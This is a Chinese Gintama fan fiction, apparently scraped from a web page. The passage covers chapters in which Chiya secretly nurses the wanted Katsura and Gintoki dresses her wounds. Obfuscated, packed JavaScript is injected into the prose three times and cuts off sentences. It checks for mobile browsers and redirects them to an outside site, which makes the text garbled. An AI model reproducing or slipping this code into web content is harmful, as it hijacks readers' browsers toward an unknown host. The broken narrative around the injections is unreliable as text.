「小春,你这样说得茶茶小姐像个随时会被逮捕的可疑人物似的。正常来说,应该是问姐姐是不是遇上什么麻烦才对吧?」新八语重心长地纠正着。 于是,春又问了一遍「那么?姐姐她是不是遇上什么麻烦了?」 尽管他心里非常清楚,他们姐姐被捕的可能性更大。 一边是关心姐姐的妹妹们,一边是不愿让妹妹们担心的姐姐。无论是撒谎还是说真话,土方觉得两个选项都不太恰当。 最后,还是由冲田轻描淡写地为他作出了决定。 「算了,就跟他们说实话吧,土方先生。反正也没什么大不了的,电视也播过了。」他说。 警察们的哑谜,让登势想起前几天在电视上看到的新闻。 「说起来…我早两天在电视上看到你们真选组破了一宗大案。好像是和妇女拐卖有关的吧?」 看着土方略带闪缩的眼神,银时忽然有了一个猜测「该不会你们把别人的姐姐卷进去了吧?」 「这个…」 「与其说是卷进去,不如说是公民合作比较恰当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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神乐不知道什么时候停止了和冲田的对打,着急的捂着脸「糟了,既然茶茶姐姐已经养了那么多条狗的话,会不会不想养我的?」 「要是你跪下来向我转三个圈再吠一声的话,我倒是可以考虑一下接受你这条败家犬。」冲田说道。 「你说谁是败家犬啊!」神乐抓起就近的一个杯子朝冲田扔过去,可惜被他避开了。 「喂喂喂,你们别在店里打架啊!」新八急忙上前阻止,但已经太迟了。 地板上已经碎了一地玻璃。 登势抬高了嗓门,训了那两个捣蛋鬼几句,然后告诉银时她已经把打碎东西的钱算进他的租金里了。 「可恶…」 闹剧还在继续,土方的手机响了起来,他瞥了一眼来电显示,是近藤打过来的。 「喂,近藤先生?」 回应他的却是一道女声『喂喂,十四,你们还没有好吗?』 「为什么是你来的?近藤先生呢?」 『他正在蠢蠢欲动不太方便呢。』她说得理所当然。 一阵不好的预感瞬间涌上心头。 「蠢蠢欲动?什么蠢蠢欲动?」土方急忙追问。 『我给你听~』 说着,千茶把电话移开,另一端很快就传来了近藤极为亢奋的声音。 『茶茶老师,你真的很厉害!现在真里子对我的好感度已经上升到95了,接下来的合宿就可以〇〇了吧?』 接着,她把电话放回自己的耳边『就是这样,勋同学现在正忙着接受我的恋爱辅导呢。』 「什么鬼辅导,这是在玩galgame吧?!」 『不是喔,是恋爱辅导。』 『茶茶老师,怎么办,悠里约我翘课,我要跟她出去吗?』 『你要是现在跟悠里出去的话,她会帮你〇〇,不过真里子知道这件事之后就会直接BE…』 『那么…我该怎么办呢?』 『我的建议是先存档然后和悠里出去,看完〇〇的剧情之后再读档和真里子HE。』 这是什么渣男发言?! 『这样真的好吗?』近藤听著有些犹豫。 『勋同学,你这就不懂了,存档读档可是galgame最大的魅力所在啊。它的存在就是为了让那些人生中充满遗憾的玩家,能在游戏世界里不错过任何一个重要的人。』 不知怎么听到她这句,土方觉得灵魂深处有些什么被敲中。不过,这一份感动并没有持续多久… 『所以无论是悠里还是真里子,都〇了再算,反正修罗场…』 土方挂掉了线。 一时间他都不知道是谁在教坏谁了。 让少女陪他玩galgame的大叔,和教导大叔在galgame一脚踏两船的少女。 一起滚去切腹吧。 「怎样?近藤先生说什么了?」冲田问。 土方本想说什么,却刚好看到看到几个小孩子用清澈的目光盯着他。 「没什么….」 不能让孩子们知道她们姐姐是这副德行。 「我刚才可是听见什么galgame、蠢蠢欲动之类的话。」银时毫不在乎地拆穿。 「别多嘴。」土方瞪了他一眼「总而言之,我们还是早点回去吧,总悟。」 要不然,还真不知道那两个家伙在互相煽动后又会干些什么出来。 冲田也没异议,转头就让登势替他们包起店里所有的关东煮。 「我们带走吃,土方先生会付帐的。」 土方口里碎碎念着,但还是拿出钱包付了帐。 「那我们先回去了,旦那。」冲田拿着一大包外卖,朝银时挥了挥手。然后,他走到春面前停了下来。 「喂,你们要不要跟我回去找你姐姐?」 春虽然对这个问题感到意外,但他不假思索地摇了摇头。 「姐姐不想让我们知道的事,我们就当作什么都不知道。」 说完,他看向菊,菊虽然不太懂他的意思,但还是懵懵懂懂地跟着点头。 既然如此,冲田也没再说什么。只是和土方提着关东煮,转身离开了酒馆。 「真意外呢,我还以为你们这些姐控一定会吵着去姐姐身边。」银时托着脑袋,探究的眼神落在他们脸上「你们不担心吗?她一个女孩子待在尽是豺狼的地方。」 神乐这也跟着附和「对,像我们家的新八就是姐姐晚一点回家就在大吵大闹的噁心姐控。」 「你们说归说,别把我拉下水!」 春摇摇头,扶着吧台坐回自己的位置。 「姐姐平日工作已经很辛苦了,好不容易能去朋友家放松几天,我们当妹妹的怎能这么不懂事,去打扰她呢。」 「再说,谁才是狼,还不好说呢。」 20. 只有一个梗的艺人就等于只有单边翅膀的蜜蜂…… 一周的时间过得很快,浅井千茶的悠闲假期随着离踏出真选组屯所而宣告结束。最高兴的莫过于土方十四郎,他终于能夺回自己房间的拥有权。 春和菊对这几天的事情只字不提,她也没有主动开口。她猜想,那两个孩子或许已经察觉到了什么,才会如此保持沉默。 碍于腰上的伤,近藤强烈建议她先休息一段时间再去上班。但她担心突然请假会让两个孩子担心,最后还是装作没听见,第二天便回了Smile工作。 她可不想成为那些让小孩担心的废物大人。 再说,他们这行的最大优点就是工时自由,要是她上班后仍然觉得不妥当,再申请休假也不会有太大问题。 以前,她就算受了更重的伤,休息过一夜,隔天还是会按时上班,更况且现在的工作也不是什么体力活。 夜风拂过,千茶拢了拢羽织,让身体暖和一些。 回家的路已经走过上百次,但还是会觉得路上的霓虹灯晃眼。这夜适逢月圆,月光正盛,洒落在灯红酒绿的街道上,却留不下丝毫痕迹。 还真是浪费了这月光。 尽管如此,她依然喜欢歌舞伎町这个地方。 一开始选择在这里落脚,是看中了这里的混乱。在这个龙蛇混杂的地方,没人会过分打听别人的私事,让她们得以在这浑水中安身。 那时,也没想到会在这里重遇这么多熟人,不论是如今当上警察高层的乡下武士,还是哥哥在家书里常常提到的攘夷战友。 若说与坂田银时的相遇是坂本辰马的刻意安排,那么与桂小太郎的重逢便是上天给她开的玩笑。 这位被称为狂乱贵公子的桂小太郎,此刻狼狈至极地躺在她眼前的旧书堆上。 确实很狂乱。 要不然装作没看见吧。 几年前,她捡了一个频死的大叔,好心替他治理伤口,还给了他一笔钱度过难关。结果,她就被那个大叔的儿子给拐卖了。 没错,这正是一周前的事,她腰上的伤还在隐隐作痛。 和那个凭着一股孤勇踏上擂台的大叔不同,桂小太郎是个专业的勇武派逃跑户。他被幕府通缉多年却毫发无损,背后还有庞大组织支持,就算没她多管闲事,想必也不会出什么问题。 衡量片刻后,她决定转身离开。 前阵子才和在真选组当差的友人相认,凭着旧情和新恩把他们给唬弄过去,要是这时候被他们发现自己和通缉犯有关系,那么她这几天岂不是白干了吗。 不划算。 才走没两步,垃圾堆便传来几声沉重的咳嗽声,千茶下意识地停下脚步。 桂在模糊间恢复了意识,他挣扎着想要起来,却使不上力气,反而更重地摔回垃圾堆里。 算了算了,这家伙是攘夷组织的头子,以后应该多少也能派上用场的。 她掏出手机,拨打万事屋的电话。电话响了许久,却始终无人接听,耳边只剩下单调的忙音。她又接着试了好几次,结果依然如此。 于是,她又拨了另一个电话,然后再次获得电子音的回覆。正如她预料,这个人现在并不在地球。 她望着桂小太郎,犹豫片刻后,翻遍通讯录找到了最后一个能求助对象。 这个号码自拿到以来,一次也没拨响过。 尽管觉得对方不太可能接电话,她还是按下了拨号键。 这一次,电话总算接通了。 「喂…是我。我在路上看到小太郎先生倒在垃圾堆旁,如果…」 『扔在那里就行了。』 然后电话就挂掉了。 这个建议非常合她的心意,只是有点埋没良心。 千茶默默收起手机,同情地俯向旧书堆上的男人。 「小太郎先生,你真幸运,有那么多好朋友。」 虽然他的青梅竹马告诉她,可以把这个人直接扔在这里,可是这几晚的气温低得吓人,要是真的把他丢在这里,第二天就算没被警察找到,怕也只剩下冰冷的一「具」了。 再说,她在这里待了那么久,也没见有同伙来找他。 她认命般叹着气,转身走回小巷。 借助手机的闪光灯,千茶认真照看那个神智不清的长发男子。脸色苍白、额头上还冒着一层薄汗,她拨弄了一下他的羽织,露出了腰间一处明显的刀伤,血是暂时止住了,但伤口看着也不浅。她伸手探向他的颈侧,确认了一下脉搏。 嗯,糟糕得让她没思考的时间。 毕竟是贵公子,体重比起以前背的「尸体」要轻多了,但她也很久没干这种活了,还是有些不习惯, 千茶试着调整姿势,让重量分散得更均匀一些。只是,她也忘记了自己身上还带着伤,后腰传来了撕裂的痛楚。 很好,现在她的伤口也裂开了。 讨厌死了。 桂小太郎再次睁眼时,已是几个小时后。 映入眼帘的是陌生的和式天花。 他尝试撑起身体,但腹部传来一阵撕裂的剧痛,让他只能重新倒回床铺上。环顾四周,他几乎能肯定,自己对这个地方没有丝毫印象。 药物的影响下,他的脑袋依然昏昏沉沉。 他隐约记得,自己在某个同伙的安排下,与另一个攘夷组织的首领见面,却没想到对方竟是假借攘夷之名行恶的组织,而那位安排会面的同伙,更是对方派来的卧底。 他一心想结识志同道合的有志之士,并没和罪犯同流合污的打算。就在他准备离席之际,脑袋逐渐昏沈,这才意识到刚才的吃食被卧底掺了药。 那些人打算拉拢不了他,就乘机把他除掉,于是在见面地点设下了埋伏。他强撑着意识,和伊莉莎白并肩作战,一人一莲蓬在混战中失散。 受伤的桂逃进了一条小巷,最终不敌药力倒下。 对了……伊莉莎白呢? 想到那个为他奋战的伙伴,他也顾不得身上的伤,猛地从床上坐起。突然的动作牵动了伤口,他忍不住倒抽一口气。 「不好好躺着的话,伤口会再裂开哦,小太郎先生。」 陌生的女声传来,桂抬头望去,金发少女从半掩的房门走进来。她身穿一袭男式浴衣,长发随意地束在耳侧,手中捧着托盘,上面摆放着一些瓶瓶罐罐和干净的绷带。 「你是…」 少女在他的床榻前坐下,放下托盘后,把搁在床头的水杯递给他。 他接过水杯,呷了一小口。酸酸甜甜的,就像葡萄柚果汁,细味之下还带一点咸味。 这不是清水,而是… 「是宝〇力?」 「不是宝〇力,是千茶。」 桂愣了几秒。 等等,他的梗不是被盗了吧? 「不,那个…我的意思是…」 「好久没见,小太郎先生。哥哥将辉以前承蒙你们照顾了。」 将辉…浅井将辉。 听到这个名字,桂小太郎的眼神闪烁了一下。 几个月前,银时收到了一个据说是将辉寄来的包裹,后来才知道那其实是他妹妹拜托坂本辰马代为寄送的。 他记得当时收到的东西好像是... 还真是个体贴的孩子。 千茶没注意到他的思绪已经飘远,她的注意力全神贯注在他的伤口上。那道刀伤的切口让她觉得莫名眼熟。 「除了腹部的伤口外,还有哪里不舒服吗?」 经她一提醒,桂才回过神来,低头看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15940203|177320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着自己被包扎过的腹部。刚才的动作拉扯到伤口,洁白的绷带已微微渗出血红。 「谢谢你救了我,千茶阁下。」 千茶眨眨眼睛,似乎对这个敬称有些意外,却也没有纠正。 「我刚才在巷子里看到你,刚好我家就在附近,就擅自把你带了回来。」千茶解释道。 她看着面前的桂,总觉得他和印象中有些不同了,尤其是现在有种莫明其妙的拘束。 不过也对,人总是会一天天成长的。 大概就只有坂本辰马和近藤勋那种笨蛋,才会无论几岁都还是一个样。 她也许没察觉到,桂此时也在观察着她。 他不太会应付这种过于严肃或沉默的气氛,此时相顾无言的场面,就像再婚家庭的兄妹在餐厅包厢首次会面,而双方父母却不约而同地上了洗手间那般尴尬。 说到这种剧情设定,这对重组兄妹通常在很多年前就认识对方了,可能是私下订下婚约的青梅竹马,或是同班同学,最近还听说可以是前任或学校老师。 不过,他们现在并不是在餐厅,而是在家里。即是说,现在的情况是搬进新房子后,才察觉到新家的妹妹是自己的熟人… 那么他作为哥哥,现在要干的,就只有在父母回来之前和她说清楚。 「既然事情都发展到这个地步了,我们现在就说清楚吧。」桂的视线落在脚尖处,欲言又止地停顿半晌,再一脸艰难地继续说「虽然变成这样不是我的本意,可是现在为了爸爸妈妈,我们就把以前的事都忘了吧,以后我就是你的哥哥了。」 千茶默默听着桂的一番话,点了点头。 终于对味了。 这个人看来也是一点都没变。 也是那种笨蛋。 「千茶阁下…不对,小千,我知道对你来说很难受,但要不是这样,我们四个人也会痛苦。」 「这样啊...我明白了,小太郎先生...」千茶垂着眸子,停顿片刻,最后像是终于下定了决心,仰起头朝他露出一个坚强的笑容。 「不,以后就请你多多指教了,小太郎哥哥。」 无论是笑容的弧度,还是对白的节奏都掌握得恰到好处。 这孩子有攘夷的天赋。 桂正想开口劝说她加入他们的组织,门外便传来了几声急促的敲门声。他警惕盯着门口,习惯性地把手放在腰间,却发现自己的刀不知去向。 「放心吧,你的刀我已经收好了,血迹也都清理干净了。」她说着,站起身准备去开门。 「就算真选组现在来查,也查不出什么的,小太郎哥哥。」 等等,好像有哪里不对。 她刚才是不是提起真选组了?为什么要突然提起真选组?真选组该不会就是拍门的人吧? 桂竖着耳朵留意外头的动静,生怕听见那群混混杂碎的脚步声。 透过防盗眼确认来者的身分后,千茶打开了大门。 坂田银时顶着一头乱糟糟的卷毛,脸容疲惫地靠在门边,细看之下,衣服上还带着些许血迹。但更惹人注目的,是他身后那只双眼渗泪的白色生物。 是蓬莱族吧? 「你…们还好吧?」她打量着狼狈的二人问道。 「还行。」银时揉了揉眉心「我们找那家伙找了一整晚。真是的,光会给人惹麻烦。」 「先进来吧。」 千茶侧身让他们进屋「小春把房间让给小太郎先生休息了,你们要先去看看他吗?」 银时点点头,熟练地往春的房间走去,蓬莱紧随其后,眼泪依然止不住地流。 泪腺还真厉害。 千茶望着他们的背影,轻轻叹了口气,并没有跟上,而是转身走向厨房。 21. 连小孩都知道不能随便进别人房间,但大人就…… 白米的香气飘散在厨房里,千茶轻轻搅拌着锅中的米花,确保它不会烧焦。房间那处传来闹钟的声响,她抬头看了一眼牆上的时钟,指针已经指向七,孩子们也是时候起牀了。 冬日的早晨虽来得晚,但天色已渐渐亮起,一夜未眠的疲惫感涌上心头。 有时候,她也挺讨厌自己这种多管闲事的性格,尤其是腰间的伤口仍在隐隐作痛。 真是自讨苦吃。 坂田银时走在前面,带着伊丽莎白来到春的房间,他拉开纸门,一下子就和正在警惕着周围的桂四目相对。 「是你啊,银时…」 「喂,假发。」银时朝他抬了抬下巴,见他没什麽大碍,便开始调侃道「这不是好好活着吗?我早就说过了,祸害遗千年是真的,你哪会这麽容易出事。」 「不是假发,是桂!」他用力喊道,随即因为扯到伤口而倒抽一口气。 银时挑了挑眉,看着床上正捂着腹部的桂,不禁失笑,在他床边盘腿坐下。 在战场上他们都遇过更严重的伤,这种程度的实在不值一提。 跟在他身后的伊莉莎白和桂又开始上演那套老套的久别重逢戏码。算着算着,银时也都忘了这是第几次了,早就没了当初那份感动,只觉乏味。 听见外面传来的门声,桂立刻警惕地看向过去。 「真选组呢?」 银时顺着他的视线却什麽都没看见「什麽真选组?」 「刚才小千说真选组会过来搜查。」他说。 千茶刚才说的明明不是这个,但药效刚过,他的脑子还是有些混乱。 「没有。」银时摆摆手「那傢伙大概是跟你开玩笑而已,她说的话不要当真…」 这是来自吃过亏的人的肺腑之言。 不过,她确实和真选组的关係还不错。 那晚在酒馆,他向春打听了几句。虽然春那时年纪小,记忆有些模糊,但大致来说就是个俗套的故事。 深居简出的大小姐在外遭遇恶人,在千钧一发之际,几名浪人出手相救,随后她便以报恩爲由,将他们接到家中款待。后来一别就是好几年,两者的身份地位却完全反转,浪人成爲了警队高层,而大小姐则是在俱乐部裏打拼。 好一齣高岭之花被拉下神坛,和流氓警察互相救赎的感人戏码。 不过成为高岭之花的前提,大概不包括窝在别人房间、拉着别人上司玩GalGame,还使唤那个「别人」冒着寒风去给自己买宵夜。 好端端的白月光的开局,就这样被她掰成男子高中生的日常。 她该庆幸真选组那群笨蛋虽然平常没个正经样,骨子里倒都是正直的武士,不然在她邀请他们回家喝酒时就GameOver了。 应该说她被保护得太好,对人没戒心,还是说对警察过于信任呢?但无论哪一种,迟早都会吃大亏的,尤其是女孩子。 就像现在,把一个通缉名单上的成年男子带回家。 到底神经多大条才能干出这种事。还是说她以爲自己像JackyChan那麽厉害吗? 「喂,假发。那傢伙年纪也不小了,你还在喊人家小千不太恰当吧?」 「别胡说,我和小千只是单纯的兄妹关係,绝对…绝对没有发生你想的那种事…」说着,他不知怎麽羞红了脸。 这不是很可疑吗?!他可没听千茶说过她和桂还有交情,这不是因爲两人不熟,才把自己喊来的吗? 「喂,等等!『这种事』究竟指什麽?还有,为什麽要说『单纯的兄妹关係』?难道兄妹关係还有不单纯的吗?而且越是强调单纯的,往往就是最不单纯的那种吧?」 「我和小千早就约定过不再提这件事,你别再追问了。」 「哈?」银时皱着眉,怀疑起自己的耳朵。 千茶刚刚在电话裏不是这样说的啊。 这傢伙不会是脑子烧坏了吧? 银时想着,伸手要去摸他的额头,却被对方一掌拍开。 「我才没发烧!只是刚刚被人下了安眠药,所以脑子还有点迷糊而已!」他理直气壮地说道。 「我就说嘛,你脑子一定有问题。」 他无视了银时的话,转而打量起对方,这才注意到他身上的白色外衣,不知何时变得髒兮兮的。 「你怎麽也弄得那麽狼狈了?」 「还好意思说,还不是因为你!」银时瞪了他一眼,接着无奈地叹气。 「我原本在喝酒,突然看见这傢伙被人追杀,就过去看了会热闹。」说着,他意有所指地瞥了眼伊莉莎白。 「然后他拿了一堆牌子出来,说你被人埋伏了,还写了一大堆有的没的,哭得死去活来地非要我陪他一起找你。真是的,自己的宠物应该要自己照顾才对吧。」 「真是麻烦死了。」抱怨完,他嫌弃地瞥向还在抹眼泪的伊莉莎白「人都找到了,就别再哭了吧。」 伊莉莎白擦了擦眼睛,举起一块牌子:但是桂先生受伤了! 「哈?这不是还能坐起来和你说话,怎看都不严重嘛。」银时挠了挠脑袋,撑着榻榻米站起身「那傢伙也是的,一点小伤就大惊小怪…我要回去睡了,奔波了一整晚累死了。」 说着,他正要转身离开,却看见门边探出两个金色的脑袋,正好奇地张望着房间里的情况。 对了,这个时候这两个小鬼也该准备上学了。 短短一周的相处,孩子们已经和他熟络了起来。再说,银时本就不是个会端大人款的人,他们和他说话也算随意。 「银时先生,这是你的朋友吗?」菊问。 银时瞄了一眼房间内的伊莉莎白和桂,含糊地回答「啊…算是吧。」 都快三十岁的人了,实在很难再和大家介绍:对!这是我从小玩到大的好朋友。 搞不好还要被问一堆「你们是哪里认识的」、「那你们吵过架吗」、「平常会一起干甚麽」之类的可爱问题。 像他们家的神乐就很喜欢问这些问题。 两个孩子听了以后若有所思地轻轻点头。一个接一个地上前,向桂介绍自己。 「你们长得和将辉真像呢。」 「当然了,这两个小鬼可是他的…」银时一时间不知道该怎样说。 千茶一直对外称他们是妹妹,但他是知道实情的,「妹妹」这两个字就是怎麽也说不出口。 「弟弟。」春自然地接了过来「将辉是我们大哥。」 桂听见这话先是一愣,凝视着面前女孩子打扮的春和菊沉吟片刻。 「原来是这样啊…真是个热闹的家族呢。」 他没有多问别的,只跟他们说既然是小千的弟弟,以后他也会把他们当成亲弟弟看待。 这种语气听起来就像个想拐走别人姊姊的可疑男人,银时也没错过春脸上那一闪而过的微妙表情。 看着桂的样子,他忽然想起了另一个人,一个莫名其妙把别人当小舅子的傢伙。 「银时先生,要先去洗个澡吗?姐姐在煮早餐,也准备了你们的份。」春说,后面那句是姐姐让他来传的话。 不得不说,早餐这两个字对他来说非常吸引,尤其是在一整晚的奔波之后。 「早餐的话我是很感谢,不过洗澡就没必要了吧…」 菊皱着鼻子摇摇头,退后了一步。 「可是很臭。」 所以他才说讨厌小孩。 「哪里臭了?这是男人奋斗过后的男人味!你们以后也会变成我这样的!」他不忿地朝他们喊道,这时伊莉莎白也在旁边举起了牌。 :有种下水道的味道。 「怎麽连你这傢伙都这样说,又不想想是因为谁,我才…」 「洗澡吧,银时。」 春给他拿了一条新毛巾,然后找来一套哥哥们留下的浴衣。平日千茶在家也把这些当作家居服穿,男装的尺寸在千茶身上松垮垮的,但在他身上刚好合身。 虽然一开始不太乐意去洗澡,摆脱那种浑身黏糊的感觉后,确实整个人都清爽多了。身上穿的浴衣用料上乘,穿着份外舒适,对他们这种穷鬼来说还真是头一遭。 春和菊留了在房间和桂说话,他从浴室出来,用毛巾擦着头发。味增汤的香气从厨房传来,他挠着脑袋,顺着味道走了过去。 听到脚步声靠近,千茶转过头来,打量起他这一身。 她直勾勾的目光让他有些不自在,急忙跟她解释「那个?春把你的衣服借了给我,我也顺便借用了浴室…」 她点点头,脸上挂着不温不淡的笑容「没关係,反正也是哥哥们的旧衣服而已,你穿着刚刚好,要是喜欢就留着吧。」 说完,她便转过头,继续去拌味增汤。 不知道是不是他的错觉,总觉得今天的千茶看着比平常冷淡了许多。 但想想也觉得正常,她上的夜班,下班后还收留了这个大麻烦,又要帮他包扎伤口,还要替他们准备早餐,她大概是一刻都没能休息。 他走进厨房,双手交叠在胸前,凝视着少女的面容,隐约透露着一丝疲倦。 「你该不会也整晚没睡吧?」 「没关係,等把孩子们送去上学之后我再休息。」 当她带桂回来时,吵醒了在客厅等门的春。春坚决不让陌生男人睡进姐姐的房间,便把自己的房间让了出来。 千茶为桂清理伤口,做了简单的缝合后再包扎。确认他的情况稳定后,她才去给银时打电话,然后自己再去洗了个澡。 「啊…真是个麻烦的傢伙呢,辛苦你了。」 千茶看着他一脸为难的样子,却轻笑起来。 「我还年轻,偶尔熬一晚夜也没关係。」 她说着放下了手里的汤勺,拧回头盯着他看了半晌。 「怎…怎麽了?」 「你刚才洗过澡了?」 「不就跟你说我借用浴室了吗?」 千茶朝他伸出手,轻轻用拇指擦了擦他的脸颊「要不要回去重新洗一下?」 他退后一步,脖子上还搭着毛巾,他捏起毛巾的一角,猛地擦起自己的脸。 「逗你玩的啦,洗得很乾淨。」 「我说你啊,真是…」 讨人厌的傢伙? 不对,他好像并不讨厌。 「银时先生,过来一下。」 千茶的声音打断了他的思绪,他本想拒绝,但身体却先一步作出了行动。 她用木匙盛了一匙味增汤,轻轻吹了一下,然后移到他嘴边「平常的早餐都是春来做的,我也好久没弄味增汤了,替我尝尝味道够不够。」 银时张着嘴,让温热的汤汁顺着口腔滑入喉咙。 「怎样?」 她的眉眼很漂亮,尤其是那双如玻璃珠般清澈的眸子,此刻只注视着他一人。 果然是当红的女公关。 「银时先生?」 「…味道刚刚好。」他说着,略带笨拙地移开视线。 千茶满意地点点头,像是没注意到他的不对劲,顺手把用过的汤匙放到洗手盆,然后继续弄她的早餐。 一样的洗发水、同款不同色的家居服、早餐的味噌汤…… 这种像新婚夫妻的既视感是怎麽回事。 银时凝视着千茶的侧脸,她似乎丝毫没察觉到他的心思。 不,她一定是知道的。 每次都这样,做完那些撩拨人心的事,就装作若无其事。 这个女人很可怕。 自来熟,却又摀不热。 她的亲切让人以为她对你有好意,但却总是若即若离,不愿透露出半点真心。 就像现在,她二话不说就收留他们,还准备早餐,但又处处表现出对他们的遭遇漠不关心。 「你不问我们发生什麽事吗?」 千茶专注地搅拌着锅里的味噌汤「这个世道,无知的人才能过得快乐,不是吗?」 无法反驳。 沉默持续了许久,耳边只剩下粥滚煮的声响和汤勺轻敲锅缘的声音。 就连小孩子也看得出她的疲倦,所以在早餐后,春和菊主动表示他们自己去上学就好,不用她送。然而这位爱操心的姐姐犹豫了很久都没答应。最后银时看不下去了,便让她给他300日圆,说他出门时顺道送孩子们上学。 「可是我打算顺路去买些绷带,家里的都用完了。」 「行了,我顺便帮你买回来就是了吧?」」 于是,千茶便给了他600圆,外加一个零钱包和钥匙。 这一刻,他觉得自己就像个被妈妈差遣跑腿的小学生,而那六百圆分明就是零用钱。 当银时拿着东西回来时,在客厅看不见千茶,他便下意识地去她房间找人。 她的房间是洋室,门只是虚虚地掩着。 后来回想起,他也说不清当时怎麽会如此神经大条,竟然门都不敲就擅自推开女孩子的房间门。 千茶坐在床边,面前是一块全身镜,她褪去了一边袖子的衣衫,露出裏面的白色吊带,她轻轻把吊带的下摆拉起来,腰上缠了一截绷带。 银时愣了一下,手上的东西一个不稳从手里滑落。 落地的声响把千茶的注意也吸引了过来「银时先生?」 他连忙拾起掉地上的东西,然后转身背对着她。 「抱、抱歉。」 他正要转身离开,却被千茶给喊住了。 「既然你都看到了,能拜託你帮我一下吗?我一个人处理不了腰上的伤口。」 确实,刚才的确看到她腰上缠着绷带…难怪她说家里的绷带用很快,原来是一共有两个伤患。 银时犹豫了一下,但答应了下来。 这次,他还仔细关上了门。 千茶背对着他坐在床边,退去外头的衣衫,他这才注意到除了腰上包扎过的地方,她背上还有着很大一块瘀青。 「这是什麽一回事?」 「就前段时间不小心弄到的。」 前段时间她一直在和真选组那些傢伙在一起,这些伤大概就是她在进行「公民合作」时弄到的。 「你那次说有事离开江户,是和真选组那些傢伙一直在一起吗?」 千茶拉起衣襬,自顾自地松开腰上的绷带,没有回话。 「我那天碰到冲田他们,他们都说了。」 那麽你还问我干什麽。 千茶心里想着,终究没有怼出口。 「嗯。」 他知道她不会说更多,就像她从不过问他们的事一样。也不知道该说她懂事,还是过于世故。 她把髒了的绷带随手扔在地上,雪白细腻的腰肢上留着一条经过缝合的长伤口。 「还真是些不会怜香惜玉的傢伙啊。」 千茶听出了他声音中隐约的怒意,不禁失笑。 「你还笑个什麽?」 「嗯,没什麽。」 缝合过的伤口,正在癒合,但现在有一点裂开了。 银时打开旁边的医药箱,小心翼翼地替她处理。他的动作很轻柔,但还是能感觉到她每次被消毒水碰触时细微的颤抖。 「伤口都裂开了。」 「嗯…晚上把小太郎先生搬回来的时候不小心扯到。」千茶轻描淡写地说,但银时注意到她微微咬紧的下唇。 这大概很疼吧,却一个人默默忍着,谁都不说一句。 「他们知道你受伤了吗?」 「要是让小春知道的话,他一定…」 「我是说和你一起那些傢伙。」 是在说真选组啊… 「腰上的伤他们都知道吧,队医也都给我做了缝合,至于其他地方,穿着衣服又不会看见…」 银时的脸色沉了下来,他看着那些明显还没完全康復的伤处,心裏顿时觉得有些发闷。 都伤成这样了还要去上班,还要把另一个伤者带回家。就算她年纪小爱逞强,那些税金小偷也该有点脑子,懂得分清该做什麽、不该做什麽吧?怎麽就没有人来阻止她呢? 她像是察觉到他的情绪不太对,转过身来晃了晃他的手臂。 「好啦,别生气嘛。」她的手轻轻搭在他的手臂上,温暖的触感透过衣料传来。 「你看,我不是好好的在这里吗?这种程度的伤再过几天就会好了。」 银时眯起眼睛,瞪了她一眼「别拿哄小孩子的手段来唬弄大人。」 「你没听说过吗?男性心理学本质和儿童心理学是一样的东西。」千茶戏谑地笑道,抽起了他??的纱布,换上一支去瘀青的药膏。 「腰上的伤口我想透一下气再包扎,你能先给我涂一下药吗?」 伤痕累累的少女向你示弱,只要是个有点良知的人,也无法拒绝。 千茶在药箱裏翻了一下,发现刚才处理伤口的时候,他已经把棉棒都用光了。 「直接用手涂可以吗?」千茶问。 见他许久没有回应,她抬起头往后看,正好瞧见他通红的耳朵。 她马上就反应过来,低头看了一下自己单薄的衣着。 「不是说要把我撞到下不了床的吗?这麽快就害羞了?」她打趣地说着,伸手轻轻揉了揉他的耳垂。 银时动了动喉咙,挥开了她的手,略有些恼羞地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他脑子里乱成一团,为了不被她发现异常,仍维持着原有的力度。当他抬头想要稍微避开视线时,却从面前的镜子清晰看见她的表情。 千茶紧紧咬住下唇,压抑着因痛感而发出的呜咽。 这不是一般的犯规。 是红牌、绝对是红牌! 他深吸一口气,试图让自己冷静下来。但她身上那缕淡淡的洗发水香,不断撩拨着他的神经,视线紧紧黏在镜子上,直到与她四目相对。 他的指尖不自觉地加重了力道,她透过镜中投来几分带着挑衅意味的目光,让他的心跳不禁加快。 空气中瀰漫着暧昧的氛围,直至她轻声打破了沉默。 「轻一点,我会坏掉的。」 她的声音如奶油般甜腻,却透着一丝因痛楚而起的沙哑。 他都出示红牌了,为什麽还没有人来拉她出局? 这傢伙一定是开外挂了,他要向管理员举报。 他打从一开始就不应该打开那道门,要是有指示说这是通往地狱的道路的话,他一定不会打开。为什麽门口不能放个警告? 不行,他要去投诉。 见他久久没有回应,千茶略带不悦地皱起眉。镜中的银时垂着脑袋,浏海遮住了双眼。她正想转过身来,却被他眼明手快地制止了。 他紧捏住她的肩膀,让她无法回头看向自己。 「别说这种话,你就连丁点羞耻心都没有吗?」他的声音有些沙哑,手上的动作却温柔了不少「你哥知道的话可会生气哦。」 他压低声线,语气中带着警告的意味。 这一来,她确实安静了下来,沉默取代了刚才的暧昧。 「死人又怎会生气。」 糟糕,说错话了。 声音裏的落寞让银时感觉到胸口一阵闷痛。他想说些什麽补救,但千茶脸上淡淡的笑容让他所有的话都堵在喉咙里。 她转过来,轻轻推开了他的手。 「药膏涂好了,就替我把腰包起来吧。」她说着,把纱布塞进他手里,然后把吊带的下襬挽起,双手抱在胸前,再次朝他露出了雪白的腰身。 她微微侧过头,语气已恢復刚才的轻佻「这次要对人家温柔一点哦。」 